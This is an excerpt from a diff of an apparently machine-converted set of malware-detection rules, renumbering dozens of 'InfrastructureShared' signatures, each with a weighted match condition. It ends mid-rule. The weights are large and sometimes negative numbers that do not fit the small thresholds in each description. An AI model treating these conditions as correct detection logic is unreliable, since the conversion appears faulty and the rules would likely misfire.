"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -244912,7 +259883,7 @@ rule _InfrastructureShared_19675{ ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*24934+(#a_57_2 & 1)*22016+(#a_00_4 & 1)*111+(#a_00_6 & 1)*50+(#a_6e_7 & 1)*26723+(#a_00_9 & 1)*101) >=8 } -rule _InfrastructureShared_19676{ +rule _InfrastructureShared_20883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 16 00 21 " @@ -244941,7 +259912,7 @@ rule _InfrastructureShared_19676{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*25931+(#a_61_2 & 1)*27749+(#a_2e_3 & 1)*27716+(#a_47_5 & 1)*29281+(#a_00_6 & 1)*2+(#a_23_7 & 1)*12+(#a_00_8 & 1)*112+(#a_00_10 & 1)*61+(#a_6b_11 & 1)*28535+(#a_4c_12 & 1)*21792+(#a_50_13 & 1)*29810+(#a_3a_14 & 1)*12889+(#a_90_15 & 1)*11568+(#a_00_16 & 1)*2448+(#a_61_17 & 1)*281+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1) >=40 } -rule _InfrastructureShared_19677{ +rule _InfrastructureShared_20884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -244957,7 +259928,7 @@ rule _InfrastructureShared_19677{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*61+(#a_00_4 & 1)*38+(#a_5c_5 & 1)*29281+(#a_64_6 & 1)*22376+(#a_3a_9 & 1)*19521+(#a_6d_10 & 1)*23602) >=2 } -rule _InfrastructureShared_19678{ +rule _InfrastructureShared_20885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -244971,7 +259942,7 @@ rule _InfrastructureShared_19678{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*11890+(#a_00_3 & 1)*115+(#a_43_4 & 1)*19781+(#a_65_5 & 1)*29285) >=5 } -rule _InfrastructureShared_19679{ +rule _InfrastructureShared_20886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -244992,7 +259963,7 @@ rule _InfrastructureShared_19679{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*19779+(#a_4e_2 & 1)*21316+(#a_02_3 & 1)*47+(#a_42_4 & 1)*27187+(#a_79_5 & 1)*29797+(#a_50_7 & 1)*14947+(#a_5c_8 & 1)*17731+(#a_37_9 & 1)*1536+(#a_01_10 & 1)*19524+(#a_65_11 & 1)*26994+(#a_6e_12 & 1)*298) >=12 } -rule _InfrastructureShared_19680{ +rule _InfrastructureShared_20887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -245015,7 +259986,7 @@ rule _InfrastructureShared_19680{ ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*26213+(#a_2e_3 & 1)*14081+(#a_61_4 & 1)*27999+(#a_74_5 & 1)*29303+(#a_61_6 & 1)*24428+(#a_6b_7 & 1)*19557+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1) >=15 } -rule _InfrastructureShared_19681{ +rule _InfrastructureShared_20888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -245043,7 +260014,7 @@ rule _InfrastructureShared_19681{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*21089+(#a_32_2 & 1)*17730+(#a_30_3 & 1)*28520+(#a_2d_4 & 1)*13619+(#a_63_5 & 1)*385+(#a_72_6 & 1)*16761+(#a_6d_7 & 1)*30815+(#a_5a_8 & 1)*16762+(#a_00_9 & 1)*14637+(#a_19_10 & 1)*28261+(#a_00_11 & 1)*376+(#a_00_12 & 1)*14+(#a_4c_13 & 1)*21325+(#a_16_15 & 1)*23817+(#a_90_16 & 1)*6162+(#a_6c_17 & 1)*30825+(#a_68_18 & 1)*28257+(#a_72_19 & 1)*29541) >=21 } -rule _InfrastructureShared_19682{ +rule _InfrastructureShared_20889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -245060,7 +260031,7 @@ rule _InfrastructureShared_19682{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27247+(#a_5a_2 & 1)*16762+(#a_00_3 & 1)*101+(#a_2d_4 & 1)*2305+(#a_6c_5 & 1)*25960+(#a_6f_6 & 1)*9+(#a_6c_7 & 1)*18036) >=4 } -rule _InfrastructureShared_19683{ +rule _InfrastructureShared_20890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -245083,7 +260054,7 @@ rule _InfrastructureShared_19683{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_09_2 & 1)*4374+(#a_6f_3 & 1)*4374+(#a_00_4 & 1)*4952+(#a_13_5 & 1)*-422+(#a_00_6 & 1)*144+(#a_65_7 & 1)*385+(#a_48_8 & 1)*24936+(#a_63_9 & 1)*30063+(#a_69_10 & 1)*24937+(#a_46_11 & 1)*-32496+(#a_73_12 & 1)*17005+(#a_74_13 & 1)*16744) >=14 } -rule _InfrastructureShared_19684{ +rule _InfrastructureShared_20891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -245105,7 +260076,7 @@ rule _InfrastructureShared_19684{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32505+(#a_79_2 & 1)*29298+(#a_74_3 & 1)*29545+(#a_38_4 & 1)*12592+(#a_37_5 & 1)*14392+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_01_8 & 1)*0+(#a_00_10 & 1)*67+(#a_00_12 & 1)*58+(#a_00_13 & 1)*100+(#a_00_15 & 1)*102) >=16 } -rule _InfrastructureShared_19685{ +rule _InfrastructureShared_20892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 0a 00 21 " @@ -245121,7 +260092,7 @@ rule _InfrastructureShared_19685{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_3 & 1)*69+(#a_00_4 & 1)*58+(#a_00_5 & 1)*107+(#a_00_7 & 1)*116+(#a_41_9 & 1)*8448) >=27 } -rule _InfrastructureShared_19686{ +rule _InfrastructureShared_20893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -245140,7 +260111,7 @@ rule _InfrastructureShared_19686{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*25417+(#a_3d_2 & 1)*29556+(#a_65_3 & 1)*8293+(#a_74_4 & 1)*25701+(#a_75_5 & 1)*29555+(#a_6e_6 & 1)*22330+(#a_00_8 & 1)*114+(#a_00_9 & 1)*102+(#a_00_11 & 1)*116) >=4 } -rule _InfrastructureShared_19687{ +rule _InfrastructureShared_20894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -245157,7 +260128,7 @@ rule _InfrastructureShared_19687{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28229+(#a_72_2 & 1)*25708+(#a_00_3 & 1)*8194+(#a_00_5 & 1)*105+(#a_72_6 & 1)*26989+(#a_00_8 & 1)*115+(#a_00_9 & 1)*87) >=6 } -rule _InfrastructureShared_19688{ +rule _InfrastructureShared_20895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -245173,7 +260144,7 @@ rule _InfrastructureShared_19688{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*100+(#a_00_4 & 1)*115+(#a_25_5 & 1)*7168+(#a_00_7 & 1)*115+(#a_00_9 & 1)*109) >=6 } -rule _InfrastructureShared_19689{ +rule _InfrastructureShared_20896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -245192,7 +260163,7 @@ rule _InfrastructureShared_19689{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*23587+(#a_76_2 & 1)*28275+(#a_57_3 & 1)*14915+(#a_49_4 & 1)*29551+(#a_01_5 & 1)*28261+(#a_00_7 & 1)*84+(#a_01_8 & 1)*5+(#a_01_9 & 1)*5+(#a_01_10 & 1)*2) >=11 } -rule _InfrastructureShared_19690{ +rule _InfrastructureShared_20897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 21 " @@ -245205,7 +260176,7 @@ rule _InfrastructureShared_19690{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_4 & 1)*67+(#a_01_6 & 1)*2) >=25 } -rule _InfrastructureShared_19691{ +rule _InfrastructureShared_20898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -245223,7 +260194,7 @@ rule _InfrastructureShared_19691{ ((#a_70_0 & 1)*16675+(#a_61_1 & 1)*25888+(#a_79_2 & 1)*28530+(#a_6c_3 & 1)*28001+(#a_63_4 & 1)*25972+(#a_32_5 & 1)*14918+(#a_09_6 & 1)*6544+(#a_2d_7 & 1)*31277+(#a_00_8 & 1)*117) >=2 } -rule _InfrastructureShared_19692{ +rule _InfrastructureShared_20899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -245240,7 +260211,7 @@ rule _InfrastructureShared_19692{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1+(#a_00_3 & 1)*117+(#a_61_4 & 1)*281+(#a_19_5 & 1)*1+(#a_4c_6 & 1)*21539+(#a_01_7 & 1)*-28636) >=3 } -rule _InfrastructureShared_19693{ +rule _InfrastructureShared_20900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 13 00 21 " @@ -245266,7 +260237,7 @@ rule _InfrastructureShared_19693{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28636+(#a_01_2 & 1)*9284+(#a_e7_3 & 1)*10283+(#a_00_4 & 1)*67+(#a_6b_5 & 1)*2048+(#a_80_8 & 1)*14081+(#a_33_9 & 1)*26967+(#a_70_10 & 1)*25972+(#a_5c_11 & 1)*29281+(#a_73_12 & 1)*29296+(#a_72_13 & 1)*30287+(#a_61_14 & 1)*23553+(#a_61_15 & 1)*29798+(#a_68_16 & 1)*29541+(#a_6d_17 & 1)*29788+(#a_65_18 & 1)*27765) >=4 } -rule _InfrastructureShared_19694{ +rule _InfrastructureShared_20901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -245285,7 +260256,7 @@ rule _InfrastructureShared_19694{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29285+(#a_6c_2 & 1)*29811+(#a_25_3 & 1)*-32444+(#a_64_4 & 1)*31084+(#a_74_5 & 1)*26979+(#a_69_6 & 1)*14930+(#a_5c_7 & 1)*28277+(#a_6e_8 & 1)*23667+(#a_74_9 & 1)*25956) >=10 } -rule _InfrastructureShared_19695{ +rule _InfrastructureShared_20902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -245304,7 +260275,7 @@ rule _InfrastructureShared_19695{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*9569+(#a_77_2 & 1)*26223+(#a_6b_3 & 1)*23667+(#a_6e_4 & 1)*27759+(#a_6f_5 & 1)*30023+(#a_74_6 & 1)*28523+(#a_72_7 & 1)*28271+(#a_73_8 & 1)*25964+(#a_68_9 & 1)*23673) >=10 } -rule _InfrastructureShared_19696{ +rule _InfrastructureShared_20903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -245321,7 +260292,7 @@ rule _InfrastructureShared_19696{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*26223+(#a_65_2 & 1)*9473+(#a_6e_3 & 1)*29541+(#a_74_4 & 1)*31092+(#a_00_6 & 1)*2+(#a_32_7 & 1)*0+(#a_04_8 & 1)*6913) >=11 } -rule _InfrastructureShared_19697{ +rule _InfrastructureShared_20904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,68 00 68 00 07 00 21 " @@ -245336,7 +260307,7 @@ rule _InfrastructureShared_19697{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10244+(#a_16_3 & 1)*0+(#a_74_4 & 1)*2999+(#a_8d_5 & 1)*6102+(#a_00_6 & 1)*105) >=104 } -rule _InfrastructureShared_19698{ +rule _InfrastructureShared_20905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -245356,7 +260327,7 @@ rule _InfrastructureShared_19698{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29281+(#a_74_2 & 1)*26988+(#a_72_3 & 1)*18268+(#a_79_4 & 1)*24948+(#a_54_5 & 1)*8499+(#a_46_7 & 1)*14392+(#a_53_8 & 1)*8960+(#a_72_9 & 1)*30580+(#a_61_10 & 1)*25961+(#a_6c_11 & 1)*31080) >=12 } -rule _InfrastructureShared_19699{ +rule _InfrastructureShared_20906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -245377,7 +260348,7 @@ rule _InfrastructureShared_19699{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29555+(#a_50_2 & 1)*28261+(#a_64_3 & 1)*26213+(#a_52_4 & 1)*307+(#a_6c_5 & 1)*25449+(#a_36_6 & 1)*11577+(#a_68_7 & 1)*27226+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_19700{ +rule _InfrastructureShared_20907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -245398,7 +260369,7 @@ rule _InfrastructureShared_19700{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*-32476+(#a_64_2 & 1)*12851+(#a_01_3 & 1)*11571+(#a_54_4 & 1)*28265+(#a_7a_5 & 1)*-32425+(#a_37_6 & 1)*29558+(#a_01_7 & 1)*7936+(#a_00_8 & 1)*70+(#a_00_9 & 1)*2050+(#a_00_11 & 1)*115+(#a_00_12 & 1)*114) >=14 } -rule _InfrastructureShared_19701{ +rule _InfrastructureShared_20908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -245414,7 +260385,7 @@ rule _InfrastructureShared_19701{ ((#a_6f_0 & 1)*21539+(#a_02_1 & 1)*121+(#a_00_2 & 1)*69+(#a_00_3 & 1)*115+(#a_00_4 & 1)*32+(#a_41_6 & 1)*8192+(#a_00_8 & 1)*111) >=3 } -rule _InfrastructureShared_19702{ +rule _InfrastructureShared_20909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 10 00 21 " @@ -245434,7 +260405,7 @@ rule _InfrastructureShared_19702{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*99+(#a_00_5 & 1)*98+(#a_50_7 & 1)*5632+(#a_00_9 & 1)*111+(#a_50_10 & 1)*385+(#a_69_11 & 1)*30058+(#a_69_12 & 1)*13621+(#a_72_13 & 1)*25922+(#a_6f_14 & 1)*27513) >=3 } -rule _InfrastructureShared_19703{ +rule _InfrastructureShared_20910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -245452,7 +260423,7 @@ rule _InfrastructureShared_19703{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29300+(#a_72_2 & 1)*25954+(#a_6c_3 & 1)*13363+(#a_5c_4 & 1)*29281+(#a_6e_5 & 1)*29800+(#a_2e_6 & 1)*29793+(#a_6d_7 & 1)*29185+(#a_00_9 & 1)*101) >=10 } -rule _InfrastructureShared_19704{ +rule _InfrastructureShared_20911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -245465,7 +260436,7 @@ rule _InfrastructureShared_19704{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*14941+(#a_76_2 & 1)*10537+(#a_6c_3 & 1)*24931) >=2 } -rule _InfrastructureShared_19705{ +rule _InfrastructureShared_20912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -245481,7 +260452,7 @@ rule _InfrastructureShared_19705{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*25972+(#a_00_3 & 1)*92+(#a_00_5 & 1)*105+(#a_65_6 & 1)*24939+(#a_6c_7 & 1)*23603+(#a_4c_8 & 1)*28018) >=7 } -rule _InfrastructureShared_19706{ +rule _InfrastructureShared_20913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -245497,7 +260468,7 @@ rule _InfrastructureShared_19706{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28486+(#a_3a_2 & 1)*12336+(#a_30_3 & 1)*17712+(#a_44_4 & 1)*12854+(#a_01_5 & 1)*12594+(#a_44_6 & 1)*12849) >=8 } -rule _InfrastructureShared_19707{ +rule _InfrastructureShared_20914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -245510,7 +260481,7 @@ rule _InfrastructureShared_19707{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*656+(#a_00_3 & 1)*46+(#a_00_4 & 1)*111) >=10 } -rule _InfrastructureShared_19708{ +rule _InfrastructureShared_20915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -245533,7 +260504,7 @@ rule _InfrastructureShared_19708{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_42_2 & 1)*16740+(#a_00_4 & 1)*84+(#a_6f_5 & 1)*12288+(#a_00_7 & 1)*88+(#a_00_8 & 1)*57+(#a_54_9 & 1)*8504+(#a_73_10 & 1)*25702+(#a_64_11 & 1)*26234+(#a_75_12 & 1)*29540+(#a_01_13 & 1)*4864+(#a_73_14 & 1)*29537+(#a_66_15 & 1)*24902) >=16 } -rule _InfrastructureShared_19709{ +rule _InfrastructureShared_20916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 1b 00 21 " @@ -245566,7 +260537,7 @@ rule _InfrastructureShared_19709{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*385+(#a_65_2 & 1)*24940+(#a_42_4 & 1)*27649+(#a_66_6 & 1)*27649+(#a_21_7 & 1)*13104+(#a_73_8 & 1)*17921+(#a_73_9 & 1)*26227+(#a_64_10 & 1)*29537+(#a_50_11 & 1)*25959+(#a_32_12 & 1)*17481+(#a_55_13 & 1)*28271+(#a_41_14 & 1)*29806+(#a_73_15 & 1)*25966+(#a_63_16 & 1)*29811+(#a_65_17 & 1)*29811+(#a_09_19 & 1)*11408+(#a_2d_20 & 1)*14637+(#a_2d_21 & 1)*23085+(#a_61_22 & 1)*11585+(#a_03_23 & 1)*3+(#a_03_24 & 1)*3+(#a_09_25 & 1)*0+(#a_6d_26 & 1)*29811) >=27 } -rule _InfrastructureShared_19710{ +rule _InfrastructureShared_20917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -245586,7 +260557,7 @@ rule _InfrastructureShared_19710{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24902+(#a_61_2 & 1)*29555+(#a_64_3 & 1)*26471+(#a_65_4 & 1)*25970+(#a_42_5 & 1)*19745+(#a_73_6 & 1)*25637+(#a_69_7 & 1)*29545+(#a_61_8 & 1)*29798+(#a_69_9 & 1)*24948+(#a_00_10 & 1)*32) >=11 } -rule _InfrastructureShared_19711{ +rule _InfrastructureShared_20918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -245607,7 +260578,7 @@ rule _InfrastructureShared_19711{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*23660+(#a_61_2 & 1)*28786+(#a_63_3 & 1)*29281+(#a_69_4 & 1)*25449+(#a_61_5 & 1)*25959+(#a_2d_7 & 1)*2305+(#a_2d_8 & 1)*14637+(#a_41_9 & 1)*11568+(#a_09_10 & 1)*11408+(#a_2d_11 & 1)*14637+(#a_2d_12 & 1)*14637) >=13 } -rule _InfrastructureShared_19712{ +rule _InfrastructureShared_20919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -245622,7 +260593,7 @@ rule _InfrastructureShared_19712{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_2d_3 & 1)*2305+(#a_30_4 & 1)*300+(#a_2c_5 & 1)*2+(#a_00_6 & 1)*31277) >=15 } -rule _InfrastructureShared_19713{ +rule _InfrastructureShared_20920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -245652,7 +260623,7 @@ rule _InfrastructureShared_19713{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*25927+(#a_4d_2 & 1)*-32502+(#a_6f_3 & 1)*25938+(#a_6e_4 & 1)*27000+(#a_6b_5 & 1)*27247+(#a_4c_6 & 1)*21325+(#a_69_7 & 1)*29298+(#a_51_8 & 1)*28996+(#a_69_9 & 1)*28261+(#a_65_10 & 1)*28530+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_0a_17 & 1)*0+(#a_00_18 & 1)*107+(#a_00_19 & 1)*115+(#a_00_21 & 1)*110) >=22 } -rule _InfrastructureShared_19714{ +rule _InfrastructureShared_20921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -245678,7 +260649,7 @@ rule _InfrastructureShared_19714{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29489+(#a_56_2 & 1)*-32502+(#a_79_3 & 1)*20843+(#a_30_4 & 1)*28520+(#a_41_5 & 1)*26195+(#a_32_6 & 1)*25702+(#a_00_7 & 1)*97+(#a_00_9 & 1)*53+(#a_00_10 & 1)*70+(#a_00_11 & 1)*45+(#a_00_12 & 1)*45+(#a_00_14 & 1)*49+(#a_00_16 & 1)*52+(#a_00_18 & 1)*48+(#a_6a_19 & 1)*29268+(#a_00_21 & 1)*108) >=22 } -rule _InfrastructureShared_19715{ +rule _InfrastructureShared_20922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -245691,7 +260662,7 @@ rule _InfrastructureShared_19715{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*52+(#a_00_3 & 1)*52+(#a_00_5 & 1)*45) >=6 } -rule _InfrastructureShared_19716{ +rule _InfrastructureShared_20923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -245705,7 +260676,7 @@ rule _InfrastructureShared_19716{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100+(#a_00_3 & 1)*110+(#a_00_4 & 1)*92+(#a_00_5 & 1)*108) >=6 } -rule _InfrastructureShared_19717{ +rule _InfrastructureShared_20924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -245722,7 +260693,7 @@ rule _InfrastructureShared_19717{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*290+(#a_73_2 & 1)*25970+(#a_67_3 & 1)*27758+(#a_00_5 & 1)*110+(#a_6f_6 & 1)*17978+(#a_2d_7 & 1)*23085+(#a_00_8 & 1)*116) >=9 } -rule _InfrastructureShared_19718{ +rule _InfrastructureShared_20925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -245737,7 +260708,7 @@ rule _InfrastructureShared_19718{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28516+(#a_09_2 & 1)*31277+(#a_61_3 & 1)*11585+(#a_00_4 & 1)*115+(#a_2d_5 & 1)*2305) >=1 } -rule _InfrastructureShared_19719{ +rule _InfrastructureShared_20926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -245762,7 +260733,7 @@ rule _InfrastructureShared_19719{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25445+(#a_6d_2 & 1)*18292+(#a_52_3 & 1)*29541+(#a_62_4 & 1)*27719+(#a_65_5 & 1)*11885+(#a_61_6 & 1)*29541+(#a_6f_7 & 1)*25938+(#a_01_8 & 1)*29541+(#a_73_9 & 1)*25458+(#a_73_10 & 1)*27746+(#a_6c_11 & 1)*16732+(#a_00_12 & 1)*31277+(#a_00_13 & 1)*2448+(#a_2d_14 & 1)*2305+(#a_00_15 & 1)*98) >=16 } -rule _InfrastructureShared_19720{ +rule _InfrastructureShared_20927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -245791,7 +260762,7 @@ rule _InfrastructureShared_19720{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24908+(#a_65_2 & 1)*22017+(#a_01_3 & 1)*25955+(#a_39_4 & 1)*13876+(#a_68_5 & 1)*27756+(#a_00_6 & 1)*101+(#a_00_7 & 1)*2448+(#a_61_8 & 1)*281+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_0c_12 & 1)*0+(#a_00_13 & 1)*144+(#a_04_14 & 1)*-31997+(#a_00_15 & 1)*25188+(#a_f8_16 & 1)*-14589+(#a_5c_17 & 1)*29801+(#a_34_18 & 1)*29285+(#a_00_19 & 1)*96) >=21 } -rule _InfrastructureShared_19721{ +rule _InfrastructureShared_20928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -245804,7 +260775,7 @@ rule _InfrastructureShared_19721{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_00_3 & 1)*70+(#a_00_4 & 1)*105) >=1 } -rule _InfrastructureShared_19722{ +rule _InfrastructureShared_20929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 12 00 21 " @@ -245827,7 +260798,7 @@ rule _InfrastructureShared_19722{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*400+(#a_83_2 & 1)*3328+(#a_83_3 & 1)*400+(#a_83_4 & 1)*5632+(#a_90_5 & 1)*1025+(#a_00_6 & 1)*-1979+(#a_89_7 & 1)*21901+(#a_c4_8 & 1)*1025+(#a_00_9 & 1)*110+(#a_00_11 & 1)*105+(#a_00_13 & 1)*114+(#a_00_15 & 1)*97+(#a_00_17 & 1)*108) >=1 } -rule _InfrastructureShared_19723{ +rule _InfrastructureShared_20930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -245842,7 +260813,7 @@ rule _InfrastructureShared_19723{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*101+(#a_00_3 & 1)*82+(#a_00_5 & 1)*99+(#a_00_6 & 1)*102) >=2 } -rule _InfrastructureShared_19724{ +rule _InfrastructureShared_20931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -245856,7 +260827,7 @@ rule _InfrastructureShared_19724{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_2d_2 & 1)*31277+(#a_74_3 & 1)*28018+(#a_00_4 & 1)*105) >=6 } -rule _InfrastructureShared_19725{ +rule _InfrastructureShared_20932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -245874,7 +260845,7 @@ rule _InfrastructureShared_19725{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_30_2 & 1)*300+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_19726{ +rule _InfrastructureShared_20933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -245894,7 +260865,7 @@ rule _InfrastructureShared_19726{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 